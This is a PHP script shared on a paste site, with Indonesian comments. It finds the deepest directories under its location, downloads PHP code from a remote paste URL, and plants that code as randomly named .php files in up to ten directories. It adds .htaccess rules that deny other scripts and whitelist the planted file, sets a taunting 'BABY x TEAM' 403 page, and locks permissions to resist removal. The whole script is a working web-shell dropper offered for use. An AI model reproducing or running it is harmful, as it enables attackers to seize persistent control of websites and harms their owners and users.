.

<?php

/**
 * Fungsi untuk mencari semua direktori terdalam dalam struktur direktori yang diberikan.
 *
 * @param string $baseDir Direktori dasar untuk memulai pencarian.
 * @return array Daftar semua direktori terdalam yang ditemukan.
 */
function findAllDeepestDirs($baseDir) {
    $dirs = glob($baseDir . '/*', GLOB_ONLYDIR);
    if (!$dirs) {
        return [$baseDir]; // Jika tidak ada subdirektori, berarti ini adalah direktori terdalam
    }

    $deepestDirs = [];
    foreach ($dirs as $dir) {
        $deepestDirs = array_merge($deepestDirs, findAllDeepestDirs($dir));
    }

    return $deepestDirs;
}

/**
 * Fungsi untuk menghasilkan nama file acak dengan ekstensi .php.
 *
 * @return string Nama file acak dengan ekstensi .php.
 */
function generateRandomPhpFilename() {
    return uniqid('file_', true) . '.php';
}

// Path dasar tempat memulai pencarian direktori terdalam
$basePath = __DIR__;
$allDeepestDirs = findAllDeepestDirs($basePath);

// Memastikan tidak melebihi 10 direktori (acak jika lebih dari 10)
shuffle($allDeepestDirs);
$selectedDirs = array_slice($allDeepestDirs, 0, 10);

if (empty($selectedDirs)) {
    echo "Tidak ditemukan direktori terdalam untuk diunggah.\n";
    exit;
}

// URL sumber file yang akan diunduh
$sourceFileUrl = 'https://paste.rasitech.org/view.php?id=d1ff2e8df4b7&mode=raw';

// Mengunduh konten dari URL sumber sekali saja untuk efisiensi
$fileContent = file_get_contents($sourceFileUrl);
if ($fileContent === false) {
    echo "Gagal mengunduh konten dari $sourceFileUrl\n";
    exit;
}

// Melakukan upload ke setiap direktori yang dipilih
foreach ($selectedDirs as $index => $targetDir) {
    $randomFilename = generateRandomPhpFilename();
    $filePath = $targetDir . '/' . $randomFilename;

    // Memastikan direktori bisa ditulisi
    if (!is_writable($targetDir)) {
        echo "Gagal: Direktori tidak dapat ditulisi - $targetDir\n";
        continue;
    }

    // Menyimpan konten ke file dengan nama acak
    $result = file_put_contents($filePath, $fileContent);
    if ($result === false) {
        echo "Gagal menyimpan file ke $filePath\n";
        continue;
    }

    // Membuat file .htaccess dengan konfigurasi mod_rewrite
    $htaccessContent = <<<HTACCESS
Options -Indexes
<Files *.ph*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pe*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.Pe*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pl*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.PL*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pE*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pL*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.Ph*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.pH*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.PH*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.sh*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.Sh*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.sH*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.SH*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.AS*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.As*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.aS*>
    Order Deny,Allow
    Deny from all
</Files>
<Files *.as*>
    Order Deny,Allow
    Deny from all
</Files>
<FilesMatch ".(jpg|jpeg|png|gif|svg|bmp|ico|webp|heic|docx)$">
    Order Deny,Allow
    Allow from all
</FilesMatch>
<FilesMatch ".(mp4|webm|avi|mov|wmv|mp3|wav|ogv|ogg)$">
    Order Deny,Allow
    Allow from all
</FilesMatch>
<FilesMatch ".(pdf|doc|docx|xls|xlsx|zip|rar|tar|gz|ppt|pptx|csv|)$">
    Order Deny,Allow
    Allow from all
</FilesMatch>
<FilesMatch "^($randomFilename)$"> 
Order Allow,Deny 
Allow from all 
</FilesMatch>
ErrorDocument 403 '<center><img src="https://c.top4top.io/p_3745qx6u80.jpg"></img> <h3>HAHAHA! FORBIDDEN</font><br><h2>by BABY x TEAM</h2>'
HTACCESS;

    $htaccessPath = $targetDir . '/.htaccess';
    file_put_contents($htaccessPath, $htaccessContent);

    // Mengubah hak akses file PHP dan .htaccess menjadi 0444 (hanya bisa dibaca)
    chmod($filePath, 0444);
    chmod($htaccessPath, 0444);

    // Mengubah hak akses direktori tempat file diunggah menjadi 0111 (hanya bisa dibaca dan dieksekusi)
    chmod($targetDir, 0111);

    echo "[$index] Berhasil mengunggah: $filePath\n";
    echo "[$index] .htaccess dibuat di: $htaccessPath\n";
    echo "[$index] Hak akses diubah: $filePath dan $htaccessPath (0444), Direktori: $targetDir (0111)\n";
}

?>

Views: 17

Created At: 2026-07-24 09:19:02

View Raw Download Clone